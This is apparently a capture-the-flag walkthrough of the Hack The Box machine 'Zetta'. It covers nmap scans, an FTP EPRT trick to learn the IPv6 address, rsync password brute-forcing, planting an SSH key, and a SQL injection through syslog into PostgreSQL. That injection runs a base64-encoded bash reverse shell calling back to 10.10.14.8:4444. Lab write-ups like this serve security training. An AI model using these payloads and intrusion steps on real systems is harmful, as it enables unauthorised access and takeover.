Zetta

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.156 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p21,22,80 10.10.10.246 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The FTP server asks for credentials. Note that IPv6 addresses are also allowed.

ftp 10.10.10.156

Let's take a look at the website.

If we scroll down to the SHARING section, we'll see some credentials.

Let's try those in the FTP server.

ftp 10.10.10.156

There file server only has one file called .ftpquota, which we can't download.

ftp> passive

ftp> ls -la

Exploitation

When we logged in, we saw that the server supports IPv6 connections. We could try to make the FTP server connect to our machine via IPv6, so we see the IPv6 of the machine, and then if we scan that address we might see some more open ports. First, set a netcat listener on port 4444 on the IPv6 address.

nc -lvnp 4444 -6

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

  • -6 listen on with IPv6.

There is an FTP command which allow us to connect back to another server from the FTP server. The command is EPRT, but it is not available on the server.

ftp> EPRT

But, we could try to use it by connecting to the FTP server with netcat. We'll have to log in with the USER and PASS commands.

nc 10.10.10.156 21

Now, we can use the EPRT command.

ftp> EPRT

As we have to connect to the netcat listener from the FTP port, we need to know our IPv6 address from the HTB VPN interface tun0, which is dead:beef:2::1006.

ifconfig tun0

Now, connect to the netcat listener from the FTP server using the EPRT command, indicating the number 2, because we want to do the connection with the IPv6 address, then indicate our local IPv6 address, and finally, indicate the port. Once we are connected, use the list command.

EPRT |2|dead:beef:2::1006|4444|

We should see the IPv6 of the machine in the netcat listener.

Now, if we run nmap again to scan open ports on the IPv6 address, we'll see one more port open than before.

nmap -sS --min-rate 5000 -n -Pn -p- -oN allPortsv6 dead:beef::57a:71c:23:77a -6

  • -6 enable IPv6 scanning.

If we scan the new open port 8730 more in depth, we'll see that the service running is rsync.

nmap -sCV -p8730 -oN targetedv6 dead:beef::57a:71c:23:77a -6

If we try to connect with rsync to that port, we'll get an error saying that it can't resolve the name or service.

rsync rsync://dead:beef::57a:71c:23:77a:8730

To solve this problem, add a new entry to the /etc/hosts file pointing the IPv6 address to zetta.htb.

nano /etc/hosts

Now, we can access the service.

rsync rsync://zetta.htb:8730

But, if try to access any of those directories, we'll always rejected.

rsync rsync://zetta.htb:8730/bin

But we could try to access other directories such as /etc.

rsync rsync://zetta.htb:8730/etc

Let's make a new directory called rsync and get inside.

mkdir rsync

cd rsync/

And let's download the entire /etc directory recursively.

rsync -r rsync://zetta.htb:8730/etc .

Now that we are able to see all the readable files inside /etc, we can access config files such us the configuration file for rsync. In this file, we can see that the /etc is not visible because it is configured as list = false.

cat rsyncd.conf

There is also another module called home_roy which points to /home/roy.

If we try to connect to that module, it will ask for a password.

rsync rsync://zetta.htb:8730/home_roy

I made the following script in bash which will bruteforce the password.

If we run the script, we'll see that the password is computer.

./bruteforcer.sh

Now, we can access the module home_roy logging in as roy.

sshpass -p 'computer' rsync rsync://roy@zetta.htb:8730/home_roy

Let's get a shell into the machine. To do it, I will create a .ssh directory, with a authorized_keys which will have my public SSH key, so I can log in into the machine. Then, I will upload the .ssh directory to the home directory of the roy user. First, make the .ssh directory.

mkdir .ssh

Now, let's create a new pair of SSH keys on our local machine.

ssh-keygen

Copy the public key.

cat id_rsa.pub | xclip -sel clip

And put it in the authorized_keys inside the .ssh directory we just made.

echo "ssh-rsa AAAA...Nx/7E= root@alfa8sa" > .ssh/authorized_keys

Now, upload the entire .ssh directory to the module home_roy.

sshpass -p 'computer' rsync .ssh -r rsync://roy@zetta.htb:8730/home_roy

Finally, we could log in as roy into the machine without his password. Then we could grab the user flag.

ssh roy@10.10.10.156

Privilege Escalation

First, we need to modify the PATH variable.

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/root/go/bin:/usr/lib/go/bin:/snap/bin:/root/.local/bin

If we check our home directory, we'll see a file called .tudu.xml.

ls -la

The file contains a list of todo tasks. There are a few interesting tasks. There is one that talks about GIT, and there is another one that shows a password format.

cat .tudu.xml

Let's find for .git files or directories in the system.

find / -name "*.git" 2>/dev/null

Let's go to the /etc/rsyslog.d/.git/ directory and see the last commit made.

cd /etc/rsyslog.d/.git/

git show

There are some credentials for psql, but I anticipate you, that are not valid. As we can see, it is inserting some data the following way.

Maybe, we can inject code by modifying the msg in some way. There also a line at the button that says local7.info.

That means that it is using the local7.info priority with the logger command. It is a log which I can write to, because the roy user is in the adm group.

id

If we write some code into local7.info.

logger -p local7.info "test'"

We should see some content in the /var/log/postgresql/postgresql-11-main.log log file.

tail -f /var/log/postgresql/postgresql-11-main.log

  • -f output appended data as the file grows.

The idea is to inject code into the query with the logger tool, but without generating any logs, such us the following data.

logger -p local7.info "test', NULL)-- -"

Now, there is a way to run commands in the system, which is explained here. First, set a netcat listener on port 4444.

nc -lvnp 4444

Now, create a command encoded in base64 which will send us a reverse shell.

echo "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1" | base64

Finally, the following command will exploit the command injection vulnerability, and execute our encoded payload in the victim machine, and we'll get a shell as the user.

logger -p local7.info "test', NULL); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM $$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0NDQgMD4mMQo= | base64 -d | bash $$;-- -"

Now, if we go back a few directories to /var/lib/postgresql, we'll see a file called .psql_history.

ls -la

The file contains credentials in the format we saw in the .tudu.xml file.

cat .psql_history

If we modify the password to the root user, like sup3rs3cur3p4ass@root, we are able to become the root user. Then, all we have to do is reap the harvest and take the root flag.

su root

Last updated

Was this helpful?